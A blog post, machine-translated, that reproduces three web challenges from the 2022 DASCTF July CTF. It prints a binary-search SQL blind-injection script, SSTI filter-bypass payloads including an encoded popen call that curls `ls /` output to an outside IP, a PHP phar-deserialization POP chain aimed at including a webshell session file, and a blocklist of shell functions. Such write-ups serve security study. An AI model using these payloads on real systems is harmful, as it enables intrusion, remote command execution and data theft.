当前位置:网站首页>2022dasctfjuly empowerment competition (reappearance)
2022dasctfjuly empowerment competition (reappearance)
2022-07-29 00:24:00 【XiLitter】
The point is to reproduce !!!!
Preface
This July dasctf For a chicken like me, it's true that I'm in prison , It really needs practice , Sit down and wait for the official after the game wp, Take advantage of the official wp To reproduce the topics within the scope of my knowledge , It can also be regarded as the consolidation and improvement of my knowledge .
Absolute defense (sql Blind note )
There are few masters who can make this competition question , After the recurrence, the difficulty is to find the injection point and bypass waf. I saw the official wp It's using jsfinder Tools to find web Interface . What exactly is this tool ?
It is github Open source tools on the Internet , The function of this tool is to find hidden in js In the document api Interfaces and sensitive directories , And some children domain name . It is a powerful penetration tool ( information gathering )Check the source code of the topic website , There are many js file , Then you can use this tool to find available web Interface .

This tool is suitable for python3 edition , Here we find a SUPPERAPI.php file , Access this file , View the source code .
function check(){
var reg = /[`[email protected]#$%^&*()_+<>?:"{},.\/;'[\]]/im;
if (reg.test(getQueryVariable("id"))) {
alert(" Tips : The information you entered contains illegal characters !");
window.location.href = "/"
}
}Through here id The ginseng , Then the front end filters out so many characters , to id Pass on 1 and 2, Respectively admin and flag. After several tests, I found that the front-end filter was dead , The back end is also filtered if,union Such as function . Here we use sql Blind note , For example, write a payload by
id=1 and ascii(substr((select database()),1,1))>1This statement basically returns id=1, That is to say admin, But the page is always

Or the front-end restrictions have not been bypassed , In fact, there is no need to bypass , We make use of python Submit payload You will find that the statement is executed normally .
import requests
import re
import time
url = 'http://c8f02a34-d6ba-4008-8b04-e5192f62474d.node4.buuoj.cn:81/SUPPERAPI.php?'
data = "id=1 and ascii(substr((select password from users where id=2),1,1))>1"
res = requests.get(url+data)
print(res.text)
print(len(res.text))Run the script and find admin It is output normally .
So that's to say , We can use the length of the returned package or keywords admin As the basis for blind injection judgment .
The rest is writing scripts , Enumeration is the simplest , But the speed is really the slowest , You can't run for a few minutes , What we need to learn this time is binary blind note , Compare the target element with the intermediate element of the critical value , For more information, please see this master's article :( Dichotomy blind Injection _hui________ The blog of -CSDN Blog _ Dichotomy injection ) I won't go back to . Then the top and bottom is to write scripts .
import re
import requests
import time
url = "http://d360d124-6b20-4866-a2fe-8b80683c209c.node4.buuoj.cn:81/SUPPERAPI.php?"
payload = f"id=1 and ascii(substr((select database()),1,1))>127"
res = ''
for i in range(50):
low = 32
high = 127
while(low <= high):
mid = (high + low) //2
print(low, mid, high)
payload = "id=1 and ascii(substr((select password from users where id=2),{0},1))>{1}".format(i,mid)
print(payload)
re = requests.get(url + payload)
#print(response.text)
if 'admin' in re.text:
low = mid + 1
else:
high = mid - 1
print("[+]:",low, res)
time.sleep(1)
res += chr(low)
print("[+]:",low, res)
print(res)Changed a bit from a big guy script , Big brother's article :(DASCTF2022.07 Empowerment competition part WriteUp | CN-SEC Chinese net )
Harddisk(SSTI Blind note and bypass)
Open this topic and enter your name for the age test ,

I didn't think it was a template injection problem during the competition , The previous thought is too solidified , Always think that inquiry , Parameters submission and other topics of this type are sql Inject , This inspection template injection, but also filtered a lot of things , such as }}, { {, ], [, ], \, , +, _, ., x, g, request, print, args, values, input, globals, getitem,class,base wait , All structures payload Everything used has been filtered . Let's first look at a normal unfiltered simple payload:
{
{"".__class__.__base__.__subclass__()[]}}For the filtered things, a bypass
{
{ The filtered :{%print ...%} perhaps {%if ....%}..{%endif..%}
Some magic methods are filtered : utilize unicode Code matching attr The filter goes on bypass
It's filtered out .: utilize attr filter , such as "".__class__ Equivalent to ""|attr("__class__")
It's filtered out [: introduce __getitem__ To call the key value in the dictionary , for example a['b'] Equivalent to a.__getitem__('b')because print Filtered , therefore {%print..%} Can not use , Only use the second . This grammar is similar to if Conditional branch .

But this can only be judged if Whether the statement in the condition is correct , The result of execution cannot be echoed . We finally bring out the execution results by taking out . What we finally want to use payload by
{%if("".__class__.__base__.__subclasses__()[ Subscript ].__init__.__globals__.['popen'].( Carry out orders )
.read())%}123{%endif%}After filter points and brackets
{%if(""|attr("__class__")|attr("__base__")|attr("__getitem__")(0)|attr("__subclasses__")
()|attr("__getitem__")( Subscript )|attr("__init__")|attr("__globals__")|attr("__getitem__")
("popen")( Carry out orders )|attr("read")())%}123{%endif%}The key now is to find someone popen Subclasses of , We can use python Script to run . that payload by
{%if(""|attr("__class__")|attr("__bases__")|attr("__getitem__")(0)|attr("__subclasses__")()|attr("__getitem__")( Subscript )|attr("__init__")|attr("__globals__")|attr("__getitem__")("popen"))%}123{%endif%}Grab the bag post The ginseng nickname, Write a script to traverse :
import requests
url = 'http://3e743ef2-9f39-4f3d-9960-fe1f103385e9.node4.buuoj.cn:81/'
headers = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0'
}
for i in range(300):
data = {
"nickname": '{%if(""|attr("\\u005f\\u005f\\u0063\\u006c\\u0061\\u0073\\u0073\\u005f\\u005f")|attr("\\u005f\\u005f\\u0062\\u0061\\u0073\\u0065\\u0073\\u005f\\u005f")|attr("\\u005f\\u005f\\u0067\\u0065\\u0074\\u0069\\u0074\\u0065\\u006d\\u005f\\u005f")(0)|attr("\\u005f\\u005f\\u0073\\u0075\\u0062\\u0063\\u006c\\u0061\\u0073\\u0073\\u0065\\u0073\\u005f\\u005f")()|attr("\\u005f\\u005f\\u0067\\u0065\\u0074\\u0069\\u0074\\u0065\\u006d\\u005f\\u005f")(' + str(i) + ')|attr("\\u005f\\u005f\\u0069\\u006e\\u0069\\u0074\\u005f\\u005f")|attr("\\u005f\\u005f\\u0067\\u006c\\u006f\\u0062\\u0061\\u006c\\u0073\\u005f\\u005f")|attr("\\u005f\\u005f\\u0067\\u0065\\u0074\\u0069\\u0074\\u0065\\u006d\\u005f\\u005f")("\\u0070\\u006f\\u0070\\u0065\\u006e"))%}123{%endif%}'
}
r = requests.post(url=url,data=data,headers=headers).text
if '123' in r:
print(" eureka ")
print(i)
exit(0)run out 132, Then the subscript is 133 了 . Found a way to use popen Class , The last step is to execute the order , official wp utilize vps Turn on the monitor to bring out the data , Never used before , Attempt to take out failed . Then use online dns Website try dnslog Take out also ended in failure . Take out the data and fill the hole , Let's put it on today . Finally, write down the official wp With data payload.
{%if(""|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")|attr("\u005f\u005f\u0062\u0061\u0073\u0065\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(0)|attr("\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f")()|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")(133)|attr("\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f")|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("\u0070\u006f\u0070\u0065\u006e")("\u0063\u0075\u0072\u006c\u0020\u0034\u0037\u002e\u0031\u0030\u0031\u002e\u0035\u0037\u002e\u0037\u0032\u003a\u0032\u0033\u0033\u0033\u0020\u002d\u0064\u0020\"`\u006c\u0073\u0020\u002f`\"")|attr("\u0072\u0065\u0061\u0064")())%}1{%endif%} # curl 47.xxx.xxx.72:2333 -d \"`ls /`\"This topic is mainly for review ssti Of bypass.
Ez to getflag(phar Deserialization ,session File contains )
The competition side is quite humanized , Made an unexpected , Search directly /flag That's it flag 了 . But look at the official expected solution , There are many knowledge points involved .
Through the search function of the website , We can strip off the source code of the current page , The current file is file.php, The ginseng file.php Get the source code . Find out file.php Contains class.php, Also take it off . The source codes of the two files are file.php:
<?php
error_reporting(0);
session_start();
require_once('class.php');
$filename = $_GET['f'];
$show = new Show($filename);
$show->show();
?>class.php( a key ):
<?php
class Upload {
public $f;
public $fname;
public $fsize;
function __construct(){
$this->f = $_FILES;
}
function savefile() {
$fname = md5($this->f["file"]["name"]).".png";
if(file_exists('./upload/'.$fname)) {
@unlink('./upload/'.$fname);
}
move_uploaded_file($this->f["file"]["tmp_name"],"upload/" . $fname);
echo "upload success! :D";
}
function __toString(){
$cont = $this->fname;
$size = $this->fsize;
echo $cont->$size;
return 'this_is_upload';
}
function uploadfile() {
if($this->file_check()) {
$this->savefile();
}
}
function file_check() {
$allowed_types = array("png");
$temp = explode(".",$this->f["file"]["name"]);
$extension = end($temp);
if(empty($extension)) {
echo "what are you uploaded? :0";
return false;
}
else{
if(in_array($extension,$allowed_types)) {
$filter = '/<\?php|php|exec|passthru|popen|proc_open|shell_exec|system|phpinfo|assert|chroot|getcwd|scandir|delete|rmdir|rename|chgrp|chmod|chown|copy|mkdir|file|file_get_contents|fputs|fwrite|dir/i';
$f = file_get_contents($this->f["file"]["tmp_name"]);
if(preg_match_all($filter,$f)){
echo 'what are you doing!! :C';
return false;
}
return true;
}
else {
echo 'png onlyyy! XP';
return false;
}
}
}
}
class Show{
public $source;
public function __construct($fname)
{
$this->source = $fname;
}
public function show()
{
if(preg_match('/http|https|file:|php:|gopher|dict|\.\./i',$this->source)) {
die('illegal fname :P');
} else {
echo file_get_contents($this->source);
$src = "data:jpg;base64,".base64_encode(file_get_contents($this->source));
echo "<img src={$src} />";
}
}
function __get($name)
{
$this->ok($name);
}
public function __call($name, $arguments)
{
if(end($arguments)=='phpinfo'){
phpinfo();
}else{
$this->backdoor(end($arguments));
}
return $name;
}
public function backdoor($door){
include($door);
echo "hacked!!";
}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
die("illegal fname XD");
}
}
}
class Test{
public $str;
public function __construct(){
$this->str="It's works";
}
public function __destruct()
{
echo $this->str;
}
}
?>It's not difficult to explain the search when you see the source code /flag You can come out flag 了 .f The content passed in by the parameter is assigned as show Class source attribute , And then call show() Method , Last call file_get_contents($this->source); Read files . Of course , This is just unexpected , If file_get_contents Function does not have permission to read flag What to do ?
Audit class.php, There is one upload class , This class mainly realizes the uploading function of the website , The suffix that restricts uploading is png Format , And also checked the contents , The following string cannot appear .
if(in_array($extension,$allowed_types)) {
$filter = '/<\?php|php|exec|passthru|popen|proc_open|shell_exec|system|phpinfo|assert|chroot|getcwd|scandir|delete|rmdir|rename|chgrp|chmod|chown|copy|mkdir|file|file_get_contents|fputs|fwrite|dir/i';
$f = file_get_contents($this->f["file"]["tmp_name"]);
if(preg_match_all($filter,$f)){
echo 'what are you doing!! :C';
return false;
}show Class mainly realizes the search function of the website , There are many magic methods here , The first thing you should think of is to use php Deserialization to attack . But these two files are not unserialize function , At this time, we can use phar Deserialization to bypass this limitation , Just right show Class is not filtered out phar Fake protocol . But in upload Class to strictly filter the contents of uploaded files , Upload here gzip Compressed phar Files can bypass content detection .( use gzip After the compression ,phar The header of the file will also be compressed , The logo no longer exists , Then content detection will not regard it as phar File to detect , What it faces is just a pile of random code , Naturally, restrictions can be bypassed , Of course phar Pseudo protocol can still be parsed phar file )
Then next, find the vulnerability utilization point , If you look carefully, show There is one in the class backdoor Method used include contain , We can make it include our session The temporary file , Upload a file containing webshell Temporary files for .
So structure pop chain :
The first starting point is test Class __destruct Method , Yes echo Output ,str Instantiation upload Class call __tostring.

Here you can call any method of any class , Can be this->fname The assignment is Show class , hold $this->fsize Assign the file name of the file you want to include . This can trigger show Class __get Method , Why assign a value to a file name , Because it calls __get The method parameter is fsize attribute .

This call show Class does not exist ok Method . Automatically call __call function ,fsize The attribute is passed as arguments. Here we call backdoor Method , Successfully include file name .

Then start writing pop chain
<?php
class Upload{
public $f;
public $fname;
public $fsize;
}
class Show{
public $source;
}
class Test{
public $str;
}
$a = new Upload();
$b = new Show();
$c = new Test();
$c->str = $a;
$a->fname = $b;
$a->fszie = "/tmp/sess_chaaa";// Fixed prefix sess_
//phar Compress :
$phar = new Phar("shell.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($c); // Build us pop Put the contents of the chain
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>Generated locally shell.phar, The content inside is indeed serialized .

Then compress and modify it png Upload . Because temporary files may be deleted , So write multithreaded scripts to upload and include . White whoring official script , I don't understand at present .
Related articles :( elementary analysis Phar Deserialization - FreeBuf Network security industry portal )
Conclusion
There's one left web The question is not within the scope of ability , Reappearance does not mean meeting , It can expose the weakness of my knowledge , In the future, we can spend time to make up for these deficiencies .
Official wp:DASCTF|2022DASCTF7 The official of the monthly empowerment competition Write Up
边栏推荐
- [micro services ~nacos] Nacos service providers and service consumers
- Event extraction and documentation (2008-2017)
- Exchange 2013 SSL certificate installation document
- Visual full link log tracking
- Why is it so difficult for the SEC to refuse the application for transferring gray-scale GBTC to spot ETF? What is the attraction of ETF transfer?
- Dynamic programming problem (VIII)
- Intelligent trash can (VII) -- Introduction and use of sg90 steering gear (Pico implementation of raspberry pie)
- 跳表的原理
- Introduction and solution of common security vulnerabilities in Web System SQL injection
- Real time data warehouse: Didi's real-time data warehouse landing practice
猜你喜欢

#{}和${}的区别

Where is sandbox's confidence in rejecting meta's acquisition of meta universe leader sand?

html+css+php+mysql实现注册+登录+修改密码(附完整代码)

Attack and defense world web master advanced area php2

AutoCAD -- import excel tables into CAD and merge CAD

PTA (daily question) 7-72 calculate the cumulative sum

MySQL stored procedure

MySQL installation and configuration tutorial (super detailed, nanny level)

还在写大量 if 来判断?一个规则执行器干掉项目中所有的 if 判断...

面试被问到了String相关的几道题,你能答上来吗?
随机推荐
Attack and defense world web master advanced area web_ php_ include
递归/回溯刷题(中)
Sword finger offer 64. find 1+2+... +n, logical operator short circuit effect
MySQL transaction (this is enough...)
【小程序项目开发 -- 京东商城】uni-app 商品分类页面(上)
Sword finger offer 41. median in data flow
Recursion / backtracking (middle)
Dynamic programming problem (6)
Compilation principle research study topic 2 -- recursive descent syntax analysis design principle and Implementation
Attack and defense world web master advanced area PHP_ rce
1331. 数组序号转换 : 简单模拟题
2022DASCTF7月赋能赛(复现)
@PostConstruct注解详解
Idea2021.2 installation and configuration (continuous update)
聊聊异步编程的 7 种实现方式
IDEA 连接 数据库
Detailed principle explanation and verification results of digital clock based on FPGA
Software designer - intermediate, exam summary
Virtual lab basic experiment tutorial -8. Fourier transform (1)
MySQL安装配置教程(超级详细、保姆级)